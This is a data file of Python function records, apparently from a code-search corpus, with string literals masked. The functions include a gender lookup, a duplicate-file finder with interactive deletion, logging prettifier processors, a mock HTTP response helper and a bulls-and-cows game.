{"signature": "def get_gender(self, name, country=None):", "body": "if not self.case_sensitive:<EOL><INDENT>name = name.lower()<EOL><DEDENT>if name not in self.names:<EOL><INDENT>return self.unknown_value<EOL><DEDENT>elif not country:<EOL><INDENT>def counter(country_values):<EOL><INDENT>country_values = map(ord, country_values.replace(\"<STR_LIT:U+0020>\", \"<STR_LIT>\"))<EOL>return (len(country_values),<EOL>sum(map(lambda c: c > <NUM_LIT:64> and c-<NUM_LIT> or c-<NUM_LIT>, country_values)))<EOL><DEDENT>return self._most_popular_gender(name, counter)<EOL><DEDENT>elif country in self.__class__.COUNTRIES:<EOL><INDENT>index = self.__class__.COUNTRIES.index(country)<EOL>counter = lambda e: (ord(e[index])-<NUM_LIT:32>, <NUM_LIT:0>)<EOL>return self._most_popular_gender(name, counter)<EOL><DEDENT>else:<EOL><INDENT>raise NoCountryError(\"<STR_LIT>\" % country)<EOL><DEDENT>", "docstring": "Returns best gender for the given name and country pair", "id": "f12691:c1:m5"}
{"signature": "def multiglob_compile(globs, prefix=False):", "body": "if not globs:<EOL><INDENT>return re.compile('<STR_LIT>')<EOL><DEDENT>elif prefix:<EOL><INDENT>globs = [x + '<STR_LIT:*>' for x in globs]<EOL><DEDENT>return re.compile('<STR_LIT:|>'.join(fnmatch.translate(x) for x in globs))<EOL>", "docstring": "Generate a single \"A or B or C\" regex from a list of shell globs.\n\n    :param globs: Patterns to be processed by :mod:`fnmatch`.\n    :type globs: iterable of :class:`~__builtins__.str`\n\n    :param prefix: If ``True``, then :meth:`~re.RegexObject.match` will\n        perform prefix matching rather than exact string matching.\n    :type prefix: :class:`~__builtins__.bool`\n\n    :rtype: :class:`re.RegexObject`", "id": "f12694:m0"}
{"signature": "def hashFile(handle, want_hex=False, limit=None, chunk_size=CHUNK_SIZE):", "body": "fhash, read = hashlib.sha1(), <NUM_LIT:0><EOL>if isinstance(handle, str):<EOL><INDENT>handle = file(handle, '<STR_LIT:rb>')<EOL><DEDENT>if limit:<EOL><INDENT>chunk_size = min(chunk_size, limit)<EOL><DEDENT>for block in iter(lambda: handle.read(chunk_size), '<STR_LIT>'):<EOL><INDENT>fhash.update(block)<EOL>read += chunk_size<EOL>if <NUM_LIT:0> < limit <= read:<EOL><INDENT>break<EOL><DEDENT><DEDENT>return want_hex and fhash.hexdigest() or fhash.digest()<EOL>", "docstring": "Generate a hash from a potentially long file.\n    Digesting will obey :const:`CHUNK_SIZE` to conserve memory.\n\n    :param handle: A file-like object or path to hash from.\n    :param want_hex: If ``True``, returned hash will be hex-encoded.\n    :type want_hex: :class:`~__builtins__.bool`\n\n    :param limit: Maximum number of bytes to read (rounded up to a multiple of\n        ``CHUNK_SIZE``)\n    :type limit: :class:`~__builtins__.int`\n\n    :param chunk_size: Size of :meth:`~__builtins__.file.read` operations\n        in bytes.\n    :type chunk_size: :class:`~__builtins__.int`\n\n\n    :rtype: :class:`~__builtins__.str`\n    :returns: A binary or hex-encoded SHA1 hash.\n\n    .. note:: It is your responsibility to close any file-like objects you pass\n        in", "id": "f12694:m1"}
{"signature": "def getPaths(roots, ignores=None):", "body": "paths, count, ignores = [], <NUM_LIT:0>, ignores or []<EOL>ignore_re = multiglob_compile(ignores, prefix=False)<EOL>for root in roots:<EOL><INDENT>root = os.path.realpath(root)<EOL>if os.path.isfile(root):<EOL><INDENT>paths.append(root)<EOL>continue<EOL><DEDENT>for fldr in os.walk(root):<EOL><INDENT>out.write(\"<STR_LIT>\"<EOL>% count)<EOL>for subdir in fldr[<NUM_LIT:1>]:<EOL><INDENT>dirpath = os.path.join(fldr[<NUM_LIT:0>], subdir)<EOL>if ignore_re.match(dirpath):<EOL><INDENT>fldr[<NUM_LIT:1>].remove(subdir)<EOL><DEDENT><DEDENT>for filename in fldr[<NUM_LIT:2>]:<EOL><INDENT>filepath = os.path.join(fldr[<NUM_LIT:0>], filename)<EOL>if ignore_re.match(filepath):<EOL><INDENT>continue  <EOL><DEDENT>paths.append(filepath)<EOL>count += <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT>out.write(\"<STR_LIT>\" % (len(paths)),<EOL>newline=True)<EOL>return paths<EOL>", "docstring": "Recursively walk a set of paths and return a listing of contained files.\n\n:param roots: Relative or absolute paths to files or folders.\n:type roots: :class:`~__builtins__.list` of :class:`~__builtins__.str`\n\n:param ignores: A list of :py:mod:`fnmatch` globs to avoid walking and\n    omit from results\n:type ignores: :class:`~__builtins__.list` of :class:`~__builtins__.str`\n\n:returns: Absolute paths to only files.\n:rtype: :class:`~__builtins__.list` of :class:`~__builtins__.str`\n\n.. todo:: Try to optimize the ignores matching. Running a regex on every\n   filename is a fairly significant percentage of the time taken according\n   to the profiler.", "id": "f12694:m2"}
{"signature": "def groupBy(groups_in, classifier, fun_desc='<STR_LIT:?>', keep_uniques=False,<EOL>*args, **kwargs):", "body": "groups, count, group_count = {}, <NUM_LIT:0>, len(groups_in)<EOL>for pos, paths in enumerate(groups_in.values()):<EOL><INDENT>out.write(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (<EOL>pos + <NUM_LIT:1>, group_count, fun_desc, count, len(paths)<EOL>))<EOL>for key, group in list(classifier(paths, *args, **kwargs).items()):<EOL><INDENT>groups.setdefault(key, set()).update(group)<EOL>count += len(group)<EOL><DEDENT><DEDENT>if not keep_uniques:<EOL><INDENT>groups = dict([(x, groups[x]) for x in groups if len(groups[x]) > <NUM_LIT:1>])<EOL><DEDENT>out.write(\"<STR_LIT>\"<EOL>% (len(groups), fun_desc, count), newline=True)<EOL>return groups<EOL>", "docstring": "Subdivide groups of paths according to a function.\n\n    :param groups_in: Grouped sets of paths.\n    :type groups_in: :class:`~__builtins__.dict` of iterables\n\n    :param classifier: Function to group a list of paths by some attribute.\n    :type classifier: ``function(list, *args, **kwargs) -> str``\n\n    :param fun_desc: Human-readable term for what the classifier operates on.\n        (Used in log messages)\n    :type fun_desc: :class:`~__builtins__.str`\n\n    :param keep_uniques: If ``False``, discard groups with only one member.\n    :type keep_uniques: :class:`~__builtins__.bool`\n\n\n    :returns: A dict mapping classifier keys to groups of matches.\n    :rtype: :class:`~__builtins__.dict`\n\n\n    :attention: Grouping functions generally use a :class:`~__builtins__.set`\n        ``groups`` as extra protection against accidentally counting a given\n        file twice. (Complimentary to use of :func:`os.path.realpath` in\n        :func:`~fastdupes.getPaths`)\n\n    .. todo:: Find some way to bring back the file-by-file status text", "id": "f12694:m3"}
{"signature": "def groupify(function):", "body": "@wraps(function)<EOL>def wrapper(paths, *args, **kwargs):  <EOL><INDENT>groups = {}<EOL>for path in paths:<EOL><INDENT>key = function(path, *args, **kwargs)<EOL>if key is not None:<EOL><INDENT>groups.setdefault(key, set()).add(path)<EOL><DEDENT><DEDENT>return groups<EOL><DEDENT>return wrapper<EOL>", "docstring": "Decorator to convert a function which takes a single value and returns\n    a key into one which takes a list of values and returns a dict of key-group\n    mappings.\n\n    :param function: A function which takes a value and returns a hash key.\n    :type function: ``function(value) -> key``\n\n    :rtype:\n        .. parsed-literal::\n            function(iterable) ->\n                {key: :class:`~__builtins__.set` ([value, ...]), ...}", "id": "f12694:m4"}
{"signature": "@groupify<EOL>def sizeClassifier(path, min_size=DEFAULTS['<STR_LIT>']):", "body": "filestat = _stat(path)<EOL>if stat.S_ISLNK(filestat.st_mode):<EOL><INDENT>return  <EOL><DEDENT>if filestat.st_size < min_size:<EOL><INDENT>return  <EOL><DEDENT>return filestat.st_size<EOL>", "docstring": "Sort a file into a group based on on-disk size.\n\n    :param paths: See :func:`fastdupes.groupify`\n\n    :param min_size: Files smaller than this size (in bytes) will be ignored.\n    :type min_size: :class:`__builtins__.int`\n\n    :returns: See :func:`fastdupes.groupify`\n\n    .. todo:: Rework the calling of :func:`~os.stat` to minimize the number of\n        calls. It's a fairly significant percentage of the time taken according\n        to the profiler.", "id": "f12694:m5"}
{"signature": "@groupify<EOL>def hashClassifier(path, limit=HEAD_SIZE):", "body": "return hashFile(path, limit=limit)<EOL>", "docstring": "Sort a file into a group based on its SHA1 hash.\n\n    :param paths: See :func:`fastdupes.groupify`\n\n    :param limit: Only this many bytes will be counted in the hash.\n        Values which evaluate to ``False`` indicate no limit.\n    :type limit: :class:`__builtins__.int`\n\n    :returns: See :func:`fastdupes.groupify`", "id": "f12694:m6"}
{"signature": "def groupByContent(paths):", "body": "handles, results = [], []<EOL>hList = []<EOL>for path in paths:<EOL><INDENT>try:<EOL><INDENT>hList.append((path, open(path, '<STR_LIT:rb>'), '<STR_LIT>'))<EOL><DEDENT>except IOError:<EOL><INDENT>pass  <EOL><DEDENT><DEDENT>handles.append(hList)<EOL>while handles:<EOL><INDENT>more, done = compareChunks(handles.pop(<NUM_LIT:0>))<EOL>handles.extend(more)<EOL>results.extend(done)<EOL><DEDENT>return dict((x[<NUM_LIT:0>], x) for x in results)<EOL>", "docstring": "Byte-for-byte comparison on an arbitrary number of files in parallel.\n\n    This operates by opening all files in parallel and comparing\n    chunk-by-chunk. This has the following implications:\n\n        - Reads the same total amount of data as hash comparison.\n        - Performs a *lot* of disk seeks. (Best suited for SSDs)\n        - Vulnerable to file handle exhaustion if used on its own.\n\n    :param paths: List of potentially identical files.\n    :type paths: iterable\n\n    :returns: A dict mapping one path to a list of all paths (self included)\n              with the same contents.\n\n    .. todo:: Start examining the ``while handles:`` block to figure out how to\n        minimize thrashing in situations where read-ahead caching is active.\n        Compare savings by read-ahead to savings due to eliminating false\n        positives as quickly as possible. This is a 2-variable min/max problem.\n\n    .. todo:: Look into possible solutions for pathological cases of thousands\n        of files with the same size and same pre-filter results. (File handle\n        exhaustion)", "id": "f12694:m7"}
{"signature": "def compareChunks(handles, chunk_size=CHUNK_SIZE):", "body": "chunks = [(path, fh, fh.read(chunk_size)) for path, fh, _ in handles]<EOL>more, done = [], []<EOL>while chunks:<EOL><INDENT>matches, non_matches = [chunks[<NUM_LIT:0>]], []<EOL>for chunk in chunks[<NUM_LIT:1>:]:<EOL><INDENT>if matches[<NUM_LIT:0>][<NUM_LIT:2>] == chunk[<NUM_LIT:2>]:<EOL><INDENT>matches.append(chunk)<EOL><DEDENT>else:<EOL><INDENT>non_matches.append(chunk)<EOL><DEDENT><DEDENT>if len(matches) == <NUM_LIT:1> or matches[<NUM_LIT:0>][<NUM_LIT:2>] == \"<STR_LIT>\":<EOL><INDENT>for x in matches:<EOL><INDENT>x[<NUM_LIT:1>].close()<EOL><DEDENT>done.append([x[<NUM_LIT:0>] for x in matches])<EOL><DEDENT>else:<EOL><INDENT>more.append(matches)<EOL><DEDENT>chunks = non_matches<EOL><DEDENT>return more, done<EOL>", "docstring": "Group a list of file handles based on equality of the next chunk of\n    data read from them.\n\n    :param handles: A list of open handles for file-like objects with\n        otentially-identical contents.\n    :param chunk_size: The amount of data to read from each handle every time\n        this function is called.\n\n    :returns: Two lists of lists:\n\n        * Lists to be fed back into this function individually\n        * Finished groups of duplicate paths. (including unique files as\n          single-file lists)\n\n    :rtype: ``(list, list)``\n\n    .. attention:: File handles will be closed when no longer needed\n    .. todo:: Discard chunk contents immediately once they're no longer needed", "id": "f12694:m8"}
{"signature": "def pruneUI(dupeList, mainPos=<NUM_LIT:1>, mainLen=<NUM_LIT:1>):", "body": "dupeList = sorted(dupeList)<EOL>print()<EOL>for pos, val in enumerate(dupeList):<EOL><INDENT>print(\"<STR_LIT>\" % (pos + <NUM_LIT:1>, val))<EOL><DEDENT>while True:<EOL><INDENT>choice = input(\"<STR_LIT>\" % (mainPos, mainLen)).strip()<EOL>if not choice:<EOL><INDENT>print (\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>continue<EOL><DEDENT>elif choice.lower() == '<STR_LIT:all>':<EOL><INDENT>return []<EOL><DEDENT>try:<EOL><INDENT>out = [int(x) - <NUM_LIT:1> for x in choice.replace('<STR_LIT:U+002C>', '<STR_LIT:U+0020>').split()]<EOL>return [val for pos, val in enumerate(dupeList) if pos not in out]<EOL><DEDENT>except ValueError:<EOL><INDENT>print(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT><DEDENT>", "docstring": "Display a list of files and prompt for ones to be kept.\n\n    The user may enter ``all`` or one or more numbers separated by spaces\n    and/or commas.\n\n    .. note:: It is impossible to accidentally choose to keep none of the\n        displayed files.\n\n    :param dupeList: A list duplicate file paths\n    :param mainPos: Used to display \"set X of Y\"\n    :param mainLen: Used to display \"set X of Y\"\n    :type dupeList: :class:`~__builtins__.list`\n    :type mainPos: :class:`~__builtins__.int`\n    :type mainLen: :class:`~__builtins__.int`\n\n    :returns: A list of files to be deleted.\n    :rtype: :class:`~__builtins__.int`", "id": "f12694:m9"}
{"signature": "def find_dupes(paths, exact=False, ignores=None, min_size=<NUM_LIT:0>):", "body": "groups = {'<STR_LIT>': getPaths(paths, ignores)}<EOL>groups = groupBy(groups, sizeClassifier, '<STR_LIT>', min_size=min_size)<EOL>groups = groupBy(groups, hashClassifier, '<STR_LIT>', limit=HEAD_SIZE)<EOL>if exact:<EOL><INDENT>groups = groupBy(groups, groupByContent, fun_desc='<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>groups = groupBy(groups, hashClassifier, fun_desc='<STR_LIT>')<EOL><DEDENT>return groups<EOL>", "docstring": "High-level code to walk a set of paths and find duplicate groups.\n\n    :param exact: Whether to compare file contents by hash or by reading\n                  chunks in parallel.\n    :type exact: :class:`~__builtins__.bool`\n\n    :param paths: See :meth:`~fastdupes.getPaths`\n    :param ignores: See :meth:`~fastdupes.getPaths`\n    :param min_size: See :meth:`~fastdupes.sizeClassifier`\n\n    :returns: A list of groups of files with identical contents\n    :rtype: ``[[path, ...], [path, ...]]``", "id": "f12694:m10"}
{"signature": "def print_defaults():", "body": "maxlen = max([len(x) for x in DEFAULTS])<EOL>for key in DEFAULTS:<EOL><INDENT>value = DEFAULTS[key]<EOL>if isinstance(value, (list, set)):<EOL><INDENT>value = '<STR_LIT:U+002CU+0020>'.join(value)<EOL><DEDENT>print(\"<STR_LIT>\" % (maxlen, key, value))<EOL><DEDENT>", "docstring": "Pretty-print the contents of :data:`DEFAULTS`", "id": "f12694:m11"}
{"signature": "def delete_dupes(groups, prefer_list=None, interactive=True, dry_run=False):", "body": "prefer_list = prefer_list or []<EOL>prefer_re = multiglob_compile(prefer_list, prefix=True)<EOL>for pos, group in enumerate(groups.values()):<EOL><INDENT>preferred = [x for x in group if prefer_re.match(x)]<EOL>pruneList = [x for x in group if x not in preferred]<EOL>if not preferred:<EOL><INDENT>if interactive:<EOL><INDENT>pruneList = pruneUI(group, pos + <NUM_LIT:1>, len(groups))<EOL>preferred = [x for x in group if x not in pruneList]<EOL><DEDENT>else:<EOL><INDENT>preferred, pruneList = pruneList, []<EOL><DEDENT><DEDENT>assert preferred  <EOL>for path in pruneList:<EOL><INDENT>print(\"<STR_LIT>\" % path)<EOL>if not dry_run:<EOL><INDENT>os.remove(path)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Code to handle the :option:`--delete` command-line option.\n\n    :param groups: A list of groups of paths.\n    :type groups: iterable\n\n    :param prefer_list: A whitelist to be compiled by\n        :func:`~fastdupes.multiglob_compile` and used to skip some prompts.\n\n    :param interactive: If ``False``, assume the user wants to keep all copies\n        when a prompt would otherwise be displayed.\n    :type interactive: :class:`~__builtins__.bool`\n\n    :param dry_run: If ``True``, only pretend to delete files.\n    :type dry_run: :class:`~__builtins__.bool`\n\n    .. todo:: Add a secondary check for symlinks for safety.", "id": "f12694:m12"}
{"signature": "def main():", "body": "<EOL>from optparse import OptionParser, OptionGroup<EOL>parser = OptionParser(usage=\"<STR_LIT>\",<EOL>version=\"<STR_LIT>\" % (__appname__, __version__))<EOL>parser.add_option('<STR_LIT>', '<STR_LIT>', action=\"<STR_LIT:store_true>\", dest=\"<STR_LIT>\",<EOL>default=False, help=\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>parser.add_option('<STR_LIT>', '<STR_LIT>', action=\"<STR_LIT:store_true>\", dest=\"<STR_LIT>\",<EOL>default=False, help=\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>filter_group = OptionGroup(parser, \"<STR_LIT>\")<EOL>filter_group.add_option('<STR_LIT>', '<STR_LIT>', action=\"<STR_LIT>\", dest=\"<STR_LIT>\",<EOL>metavar=\"<STR_LIT>\", help=\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>filter_group.add_option('<STR_LIT>', action=\"<STR_LIT:store>\", type=\"<STR_LIT:int>\",<EOL>dest=\"<STR_LIT>\", metavar=\"<STR_LIT:X>\", help=\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>parser.add_option_group(filter_group)<EOL>behaviour_group = OptionGroup(parser, \"<STR_LIT>\")<EOL>behaviour_group.add_option('<STR_LIT>', '<STR_LIT>', action=\"<STR_LIT:store_true>\",<EOL>dest=\"<STR_LIT>\", help=\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>behaviour_group.add_option('<STR_LIT>', '<STR_LIT>', action=\"<STR_LIT:store_true>\",<EOL>dest=\"<STR_LIT>\", metavar=\"<STR_LIT>\", help=\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>behaviour_group.add_option('<STR_LIT>', action=\"<STR_LIT>\", dest=\"<STR_LIT>\",<EOL>metavar=\"<STR_LIT>\", default=[], help=\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>behaviour_group.add_option('<STR_LIT>', action=\"<STR_LIT:store_true>\",<EOL>dest=\"<STR_LIT>\", help=\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>parser.add_option_group(behaviour_group)<EOL>parser.set_defaults(**DEFAULTS)  <EOL>opts, args = parser.parse_args()<EOL>if '<STR_LIT:->' in opts.exclude:<EOL><INDENT>opts.exclude = opts.exclude[opts.exclude.index('<STR_LIT:->') + <NUM_LIT:1>:]<EOL><DEDENT>opts.exclude = [x.rstrip(os.sep + (os.altsep or '<STR_LIT>')) for x in opts.exclude]<EOL>if opts.defaults:<EOL><INDENT>print_defaults()<EOL>sys.exit()<EOL><DEDENT>groups = find_dupes(args, opts.exact, opts.exclude, opts.min_size)<EOL>if opts.delete:<EOL><INDENT>delete_dupes(groups, opts.prefer, not opts.noninteractive,<EOL>opts.dry_run)<EOL><DEDENT>else:<EOL><INDENT>for dupeSet in list(groups.values()):<EOL><INDENT>print('<STR_LIT:\\n>'.join(dupeSet) + '<STR_LIT:\\n>')<EOL><DEDENT><DEDENT>", "docstring": "The main entry point, compatible with setuptools.", "id": "f12694:m13"}
{"signature": "def write(self, text, newline=False):", "body": "if not self.isatty:<EOL><INDENT>self.fobj.write('<STR_LIT>' % text)<EOL>return<EOL><DEDENT>msg_len = len(text)<EOL>self.max_len = max(self.max_len, msg_len)<EOL>self.fobj.write(\"<STR_LIT>\" % (self.max_len, text))<EOL>if newline or not self.isatty:<EOL><INDENT>self.fobj.write('<STR_LIT:\\n>')<EOL>self.max_len = <NUM_LIT:0><EOL><DEDENT>", "docstring": "Use ``\\\\r`` to overdraw the current line with the given text.\n\n        This function transparently handles tracking how much overdrawing is\n        necessary to erase the previous line when used consistently.\n\n        :param text: The text to be outputted\n        :param newline: Whether to start a new line and reset the length count.\n        :type text: :class:`~__builtins__.str`\n        :type newline: :class:`~__builtins__.bool`", "id": "f12694:c0:m1"}
{"signature": "def __init__(self, digits=<NUM_LIT:3>, only_fields=None):", "body": "self.digits = digits<EOL>try:<EOL><INDENT>self.only_fields = set(only_fields)<EOL><DEDENT>except TypeError:<EOL><INDENT>self.only_fields = None<EOL><DEDENT>", "docstring": "Create a processor that rounds numbers in the event values\n\n        :param digits: The number of digits to round to\n        :param only_fields: An iterable specifying the fields to round", "id": "f12703:c0:m0"}
{"signature": "def __init__(self, json_fields):", "body": "self.fields = json_fields<EOL>self.prettify = self.fast_prettify if fast_json_available else self.slow_prettify<EOL>", "docstring": "Create a processor that prettifies JSON strings in the event values\n\n        :param json_fields: An iterable specifying the fields to prettify", "id": "f12703:c1:m0"}
{"signature": "def __init__(self, xml_fields):", "body": "self.fields = xml_fields<EOL>if fast_xml_available:<EOL><INDENT>self.prettify = self.fast_prettify<EOL>self.lxml_parser = etree.XMLParser(remove_blank_text=True)<EOL><DEDENT>else:<EOL><INDENT>self.prettify = self.slow_prettify<EOL>self.lxml_parser = None<EOL><DEDENT>", "docstring": "Create a processor that prettifies XML strings in the event values\n\n        :param xml_fields: An iterable specifying the fields to prettify", "id": "f12703:c2:m0"}
{"signature": "def __init__(self, field_map):", "body": "self.lexers = {<EOL>field: get_lexer_by_name(language)<EOL>for field, language in field_map.items()<EOL>}<EOL>", "docstring": "Create a processor that syntax highlights code in the event values\n\n        The syntax highlighting will use with ANSI terminal color codes.\n\n        :param field_map: A mapping with field names mapped to languages, e.g.\n                          ``{'body': 'json': 'soap_response': 'xml'}``", "id": "f12703:c3:m0"}
{"signature": "def __init__(self, fields, target=sys.stdout):", "body": "self.fields = fields<EOL>self.target = target<EOL>", "docstring": "Create a processor that prints the requested fields' values\n\n        This is useful for strings with newlines in them. Keep in mind that the\n        fields will be popped from the event dictionary, so they will not be\n        visible to anything (other processors and the logger itself) after this\n        processor has printed them.\n\n        :param fields: An iterable specifying the fields to print\n        :param target: A file-like object to print to", "id": "f12703:c4:m0"}
{"signature": "def strip_minidom_whitespace(node):", "body": "for child in node.childNodes:<EOL><INDENT>if child.nodeType == Node.TEXT_NODE:<EOL><INDENT>if child.nodeValue:<EOL><INDENT>child.nodeValue = child.nodeValue.strip()<EOL><DEDENT><DEDENT>elif child.nodeType == Node.ELEMENT_NODE:<EOL><INDENT>strip_minidom_whitespace(child)<EOL><DEDENT><DEDENT>", "docstring": "Strips all whitespace from a minidom XML node and its children\n\n    This operation is made in-place.", "id": "f12704:m0"}
{"signature": "def merge_two_dicts(x, y):", "body": "z = x.copy()<EOL>z.update(y)<EOL>return z<EOL>", "docstring": "Given two dicts, merge them into a new dict as a shallow copy.", "id": "f12711:m0"}
{"signature": "def _mock_response(<EOL>self,<EOL>status_code=<NUM_LIT:200>,<EOL>content=b'<STR_LIT>',<EOL>raise_for_status=None):", "body": "mock_resp = Mock()<EOL>mock_resp.raise_for_status = Mock()<EOL>mock_resp.status_code = status_code<EOL>if raise_for_status:<EOL><INDENT>mock_resp.raise_for_status.side_effect = raise_for_status<EOL>return mock_resp<EOL><DEDENT>mock_resp.content = content<EOL>mock_resp.iter_content = Mock()<EOL>iter_result =  iter([bytes([b]) for b in content])<EOL>mock_resp.iter_content.return_value = iter_result<EOL>return mock_resp<EOL>", "docstring": "Build a mock for each response, include errors and content data", "id": "f12714:c0:m0"}
{"signature": "def cleanup_none(self):", "body": "for (prop, default) in self.defaults.items():<EOL><INDENT>if getattr(self, prop) == '<STR_LIT>':<EOL><INDENT>setattr(self, prop, None)<EOL><DEDENT><DEDENT>", "docstring": "Removes the temporary value set for None attributes.", "id": "f12717:c0:m1"}
{"signature": "def new_game(self, mode=None):", "body": "<EOL>self._g = GameObject()<EOL>_mode = mode or \"<STR_LIT>\"<EOL>logging.debug(\"<STR_LIT>\".format(_mode))<EOL>mode_info = self._g.get_game_type(gametype=_mode)<EOL>logging.debug(\"<STR_LIT>\".format(mode_info, type(mode_info)))<EOL>if not mode_info:<EOL><INDENT>self._g = None<EOL>raise ValueError('<STR_LIT>'.format(_mode))<EOL><DEDENT>logging.debug(\"<STR_LIT>\".format(mode_info.digitType))<EOL>dw = DigitWord(wordtype=mode_info.digitType)<EOL>dw.random(mode_info.digits)<EOL>logging.debug(\"<STR_LIT>\".format(dw.word))<EOL>_game = {<EOL>\"<STR_LIT:key>\": str(uuid.uuid4()),<EOL>\"<STR_LIT:status>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": int(time()) + <NUM_LIT>,<EOL>\"<STR_LIT>\": dw.word,<EOL>\"<STR_LIT>\": _mode,<EOL>\"<STR_LIT>\": mode_info.guesses_allowed,<EOL>\"<STR_LIT>\": <NUM_LIT:0><EOL>}<EOL>logging.debug(\"<STR_LIT>\".format(_game))<EOL>self._g.from_json(jsonstr=json.dumps(_game))<EOL>return self._g.to_json()<EOL>", "docstring": "new_game() creates a new game. Docs TBC.\n\n:return: JSON String containing the game object.", "id": "f12727:c0:m5"}
{"signature": "def load_game(self, jsonstr):", "body": "logging.debug(\"<STR_LIT>\")<EOL>logging.debug(\"<STR_LIT>\")<EOL>self._g = GameObject()<EOL>logging.debug(\"<STR_LIT>\".format(jsonstr))<EOL>self._g.from_json(jsonstr=jsonstr)<EOL>", "docstring": "load_game() takes a JSON string representing a game object and calls the underlying\ngame object (_g) to load the JSON. The underlying object will handle schema validation\nand transformation.\n\n:param jsonstr: A valid JSON string representing a GameObject (see above)\n\n:return: None", "id": "f12727:c0:m6"}
{"signature": "def save_game(self):", "body": "logging.debug(\"<STR_LIT>\")<EOL>logging.debug(\"<STR_LIT>\")<EOL>self._validate_game_object(op=\"<STR_LIT>\")<EOL>logging.debug(\"<STR_LIT>\")<EOL>return self._g.to_json()<EOL>", "docstring": "save_game() asks the underlying game object (_g) to dump the contents of\nitself as JSON and then returns the JSON to\n\n:return: A JSON representation of the game object", "id": "f12727:c0:m7"}
{"signature": "def guess(self, *args):", "body": "logging.debug(\"<STR_LIT>\")<EOL>logging.debug(\"<STR_LIT>\")<EOL>self._validate_game_object(op=\"<STR_LIT>\")<EOL>logging.debug(\"<STR_LIT>\")<EOL>_return_results = {<EOL>\"<STR_LIT>\": None,<EOL>\"<STR_LIT>\": None,<EOL>\"<STR_LIT>\": [],<EOL>\"<STR_LIT:status>\": \"<STR_LIT>\"<EOL>}<EOL>logging.debug(\"<STR_LIT>\")<EOL>if self._g.status.lower() == \"<STR_LIT>\":<EOL><INDENT>_return_results[\"<STR_LIT:message>\"] = self._start_again(\"<STR_LIT>\")<EOL><DEDENT>elif self._g.status.lower() == \"<STR_LIT>\":<EOL><INDENT>_return_results[\"<STR_LIT:message>\"] = self._start_again(\"<STR_LIT>\")<EOL><DEDENT>elif self._g.guesses_remaining < <NUM_LIT:1>:<EOL><INDENT>_return_results[\"<STR_LIT:message>\"] = self._start_again(\"<STR_LIT>\")<EOL><DEDENT>elif self._g.ttl < time():<EOL><INDENT>_return_results[\"<STR_LIT:message>\"] = self._start_again(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>logging.debug(\"<STR_LIT>\")<EOL>_wordtype = DigitWord.HEXDIGIT if self._g.mode.lower() == '<STR_LIT>' else DigitWord.DIGIT<EOL>guess = DigitWord(*args, wordtype=_wordtype)<EOL>logging.debug(\"<STR_LIT>\")<EOL>self._g.guesses_remaining -= <NUM_LIT:1><EOL>self._g.guesses_made += <NUM_LIT:1><EOL>logging.debug(\"<STR_LIT>\")<EOL>_return_results[\"<STR_LIT>\"] = []<EOL>_return_results[\"<STR_LIT>\"] = <NUM_LIT:0><EOL>_return_results[\"<STR_LIT>\"] = <NUM_LIT:0><EOL>logging.debug(\"<STR_LIT>\")<EOL>for i in self._g.answer.compare(guess):<EOL><INDENT>logging.debug(\"<STR_LIT>\".format(i.index))<EOL>if i.match is True:<EOL><INDENT>logging.debug(\"<STR_LIT>\")<EOL>_return_results[\"<STR_LIT>\"] += <NUM_LIT:1><EOL><DEDENT>elif i.in_word is True:<EOL><INDENT>logging.debug(\"<STR_LIT>\")<EOL>_return_results[\"<STR_LIT>\"] += <NUM_LIT:1><EOL><DEDENT>logging.debug(\"<STR_LIT>\")<EOL>_return_results[\"<STR_LIT>\"].append(i.get_object())<EOL><DEDENT>logging.debug(\"<STR_LIT>\")<EOL>if _return_results[\"<STR_LIT>\"] == len(self._g.answer.word):<EOL><INDENT>logging.debug(\"<STR_LIT>\")<EOL>self._g.status = \"<STR_LIT>\"<EOL>self._g.guesses_remaining = <NUM_LIT:0><EOL>_return_results[\"<STR_LIT:message>\"] = \"<STR_LIT>\"\"<STR_LIT>\".format(self._get_text_answer())<EOL><DEDENT>elif self._g.guesses_remaining < <NUM_LIT:1>:<EOL><INDENT>logging.debug(\"<STR_LIT>\")<EOL>self._g.status = \"<STR_LIT>\"<EOL>_return_results[\"<STR_LIT:message>\"] = \"<STR_LIT>\"\"<STR_LIT:{}>\".format(self._get_text_answer())<EOL><DEDENT>_return_results[\"<STR_LIT:status>\"] = self._g.status<EOL><DEDENT>logging.debug(\"<STR_LIT>\")<EOL>return _return_results<EOL>", "docstring": "guess() allows a guess to be made. Before the guess is made, the method\nchecks to see if the game has been won, lost, or there are no tries\nremaining. It then creates a return object stating the number of bulls\n(direct matches), cows (indirect matches), an analysis of the guess (a\nlist of analysis objects), and a status.\n\n:param args: any number of integers (or string representations of integers)\nto the number of Digits in the answer; i.e. in normal mode, there would be\na DigitWord to guess of 4 digits, so guess would expect guess(1, 2, 3, 4)\nand a shorter (guess(1, 2)) or longer (guess(1, 2, 3, 4, 5)) sequence will\nraise an exception.\n\n:return: a JSON object containing the analysis of the guess:\n\n{\n    \"cows\": {\"type\": \"integer\"},\n    \"bulls\": {\"type\": \"integer\"},\n    \"analysis\": {\"type\": \"array of DigitWordAnalysis\"},\n    \"status\": {\"type\": \"string\"}\n}", "id": "f12727:c0:m8"}
{"signature": "def _start_again(self, message=None):", "body": "logging.debug(\"<STR_LIT>\".format(message))<EOL>the_answer = self._get_text_answer()<EOL>return \"<STR_LIT>\".format(<EOL>message,<EOL>the_answer<EOL>)<EOL>", "docstring": "Simple method to form a start again message and give the answer in readable form.", "id": "f12727:c0:m9"}
